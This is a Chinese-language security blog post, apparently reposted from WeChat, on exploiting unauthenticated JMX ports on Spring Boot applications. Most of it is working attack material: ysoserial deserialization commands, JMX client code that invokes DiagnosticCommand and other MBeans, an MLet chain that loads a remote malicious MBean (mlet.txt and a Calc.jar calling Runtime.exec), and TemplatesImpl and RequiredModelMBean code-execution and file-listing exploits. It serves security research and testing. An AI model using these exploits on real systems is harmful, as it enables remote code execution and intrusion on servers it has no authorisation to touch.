1,简介
此篇为springboot actuator漏洞总结的后续,jmx中Mbean的利用方式和jolokia兼容。
除了jolokia之外,还有可能以其他方式调Mbean,比如使用如下语句运行springboot。
java -Dcom.sun.management.jmxremote.port=18000 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -jar springmybatis-0.0.1-SNAPSHOT.jar
这种情况,会在18000开启一个未授权访问的jmx端口,以rmi协议进行沟通。
常见有两种客户端,一种是jdk自带的jconsole.exe
一种是自写客户端
package test;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.*;
import java.lang.management.ManagementFactory;
import java.util.Set;
public class JMXClient {
public static void main(String[] args) throws Exception {
String serverName = "127.0.0.1";
int port = 18000;
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectName runtimeObjName = new ObjectName(ManagementFactory.RUNTIME_MXBEAN_NAME);
String javaVersion = (String) m.getAttribute(runtimeObjName, "SpecVersion");
String vmVendor = (String) m.getAttribute(runtimeObjName, "VmVendor");
String vmVersion = (String) m.getAttribute(runtimeObjName, "VmVersion");
System.out.println("JDK 版本: " + javaVersion);
System.out.println("VM Vendor: " + vmVendor);
System.out.println("VM Version: " + vmVersion);
Set<ObjectName> mbeans = m.queryNames(null, null);
for (ObjectName objectName : mbeans) {
System.out.println(objectName);
}
}
}
抓包数据如下。
2,rmi反序列化
rmi协议显然可以打rmi反序列化。
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 18000 CommonsBeanutils1 calc
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 18000 CommonsBeanutils1 calc
但是jmx JRMPClient走的是sun.rmi.transport.DGCImpl,RMIRegistry走的是sun.management.jmxremote.SingleEntryRegistry。它们均受JEP290影响,且JEP290之后封堵的非常严格,也就是JDK>= 8u121之后无法反序列化。
3,Mbean
除了反序列化之外,显然还可以调Mbean,可以直接在jconsole图形化中调用。
也可以自写客户端
String serverName = "127.0.0.1";
int port = 18000;
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectName runtimeObjName = new ObjectName(ManagementFactory.RUNTIME_MXBEAN_NAME);
String javaVersion = (String) m.getAttribute(runtimeObjName, "SpecVersion");
String vmVendor = (String) m.getAttribute(runtimeObjName, "VmVendor");
String vmVersion = (String) m.getAttribute(runtimeObjName, "VmVersion");
System.out.println("JDK 版本: " + javaVersion);
System.out.println("VM Vendor: " + vmVendor);
System.out.println("VM Version: " + vmVersion);
Set<ObjectName> mbeans = m.queryNames(null, null);
for (ObjectName objectName : mbeans) {
System.out.println(objectName);
}
String mbeanName = "";
for (ObjectName objectName : mbeans) {
String name = objectName.toString();
if (name.contains("com.sun.management:type=DiagnosticCommand")) {
mbeanName = name.split(",")[0];
System.out.println(mbeanName);
break;
}
}
ObjectInstance evil = m.getObjectInstance(new ObjectName(mbeanName));
Object res = m.invoke(evil.getObjectName(), "vmSystemProperties", new Object[]
{},
null);
if (res == null) {
System.out.println("Set Finished.");
} else {
System.out.println(res);
}
哪些Mbean能造成危害请参考前面的jolokia RCE。
4,Mbean参数反序列化
jmx在解析Mbean参数的时候,会使用反序列化,此时可以将任意String参数替换为序列化对象完成反序列化攻击。ysoserial有具体实现。
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 18000 URLDNS http://dnslog.cn
public static void expReadObject() throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL("http://333.b890a1b9.log.dnslog.myfw.us");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashMap.put(url, "foo");
f.set(url, -1);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
Object payloadobject = hashMap;
m.invoke(mbeanName,"getParentLoggerName",new Object[]{payloadobject}, new String[]{String.class.getCanonicalName()});
}
断点MarshalledObject<T>.get() line: 172
但是由于MarshalInputStream重写了resolveClass(),会使用RMIClassLoader来加载类,因此只能打jdk自带的链比如URLDNS等,无法打第三方链。
但是,这里就产生了一个有趣的问题,既然能打jdk自带链,能否用JRMPClient进行二次反序列化,绕过RMIClassLoader限制呢?
答案是不行,可以断点RMIClassLoader.loadClass(String, String, ClassLoader),起一个恶意JRMPListener。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 calc
再把URLDNS链换成JRMPClient打18000端口的jmx。
可以看到,经由StreamRemoteCall.executeCall()的JEP290绕过点,成功反序列化BadAttributeValueExpException和PriorityQueue,但Classloader还是ExtClassLoader,最终加载CB链的第三方类时加载失败。
5,Mlet
和jolokia不同的是,jmx可以创建Mbean,因此可以先创建javax.management.loading.MLet,再通过Mlet#getMBeansFromURL创建恶意Mbean。
public static void expMLet(String command) throws Exception{
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded " + evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{"http://127.0.0.1:81/mlet.txt"},
new String[]{String.class.getName()});
HashSet res_set = ((HashSet) res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
// 如果恶意mbean已经存在,则直接获取
if (nextObject instanceof InstanceAlreadyExistsException) {
//
evil_bean = m.getObjectInstance(new ObjectName("MLetCompromise:name=calc,id=1"));
} else if (nextObject instanceof Exception) {
throw ((Exception) nextObject);
} else {
evil_bean = ((ObjectInstance) nextObject);
}
// step4: 执行恶意MBean
System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "exec", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
}
mlet.txt写法如下
<html><mletcode="Calc"archive="Calc.jar"name="MLetCompromise:name=calc,id=1"codebase="http://127.0.0.1:81"></mlet></html>
Calc.jar写法如下
public interface CalcMBean {
String exec(String paramString) throws Exception;
}
import java.util.Scanner;
public class Calc implements CalcMBean {
public String exec(String cmd) throws Exception {
return (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\A").next();
}
}
6,注册更多Mbean
根据Markus Wulftange的文章
https://code-white.com/blog/2023-03-jmx-exploitation-revisited/
既然可以创建Mlet,其他很多符合规则的类都可以被创建,包括老朋友TemplatesImpl。
public static void expTemplatesImpl() throws Exception{
ObjectName objectName = new ObjectName("TemplatesImpl:type=templatesImpl");
try {
// create TemplatesImpl (not detailed here)
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(obj, "_name", "TemplatesImpl");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(obj, "_transletIndex", 0);
// create StandardMBean on MBean server
// calls `StandardMBean(T, Class<T>)` constructor with `templatesImpl` and `Templates.class`
String className = StandardMBean.class.getName();
String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() };
Object[] ctorArgs = new Object[] { obj, Templates.class };
m.createMBean(className, objectName, ctorArgs, ctorArgTypes);
// any of the following works
// invokes getOuputProperties() indirectly via attribute getter
m.getAttribute(objectName, "OutputProperties");
// invoke getOutputProperties() directly
m.invoke(objectName, "getOutputProperties", new Object[0], new String[0]);
// invoke newTransformer() directly
m.invoke(objectName, "newTransformer", new Object[0], new String[0]);
} finally {
try {
m.unregisterMBean(objectName);
} catch (Exception e) {
}
}
}
或者File类。
public static void expFile() throws Exception {
ObjectName objectName = new ObjectName("File:type=File");
try {
// create local File object
Object file = new File("./");
// get File.listFiles() method
Method method = File.class.getMethod("listFiles", new Class[0]);
// create ModelMBeanInfo
ModelMBeanOperationInfo[] ops = new ModelMBeanOperationInfo[] {
// ModelMBean.setManagedResource(Object, String)
new ModelMBeanOperationInfo("setManagedResource",
ModelMBean.class.getMethod("setManagedResource",
new Class[] { Object.class, String.class })),
// File.listFiles()
new ModelMBeanOperationInfo("listFiles", method)
};
ModelMBeanInfoSupport model = new ModelMBeanInfoSupport("file", "file", null, null, ops, null);
// create RequiredModelMBean
// calls RequiredModelMBean(ModelMBeanInfo) with model
String className = RequiredModelMBean.class.getName();
String[] ctorArgTypes = new String[] { ModelMBeanInfo.class.getName() };
Object[] ctorArgs = new Object[] { model };
m.createMBean(className, objectName, ctorArgs, ctorArgTypes);
// set the managed resource to the serializable File object
m.invoke(
objectName,
"setManagedResource",
new Object[] { file, "objectReference" },
new String[] { Object.class.getName(), String.class.getName() }
);
// invoke listFiles() on remote File via RequiredModelMBean
File[] files = (File[]) m.invoke(objectName, "listFiles", new Object[0], new String[0]);
for (File f : files) {
System.out.println(f);
}
} finally {
try {
m.unregisterMBean(objectName);
} catch (Exception e) {
}
}
}
其中可以注意到,创建Mbean时会传一个对象,没错,这个也是用MarshalledObject.get()反序列化传输的,同样限制了只能用jdk自带类。
原文中总结了Mbean的范围非常宽泛,几乎可以做一切操作,所以这个才是最终解。
7,beanshooter
https://github.com/qtc-de/beanshooter
这个工具集成了几乎所有的jmx利用方法。
原文始发于微信公众号(珂技知识分享):Mbean之jmx
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论